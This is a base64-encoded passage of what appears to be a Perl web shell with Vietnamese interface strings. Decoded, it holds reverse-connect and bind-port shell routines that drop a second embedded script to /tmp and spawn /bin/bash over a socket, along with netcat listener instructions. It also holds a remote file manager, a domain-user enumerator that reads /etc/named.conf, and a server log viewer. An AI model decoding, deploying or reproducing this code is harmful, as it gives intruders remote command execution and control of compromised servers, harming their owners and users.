0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7Cg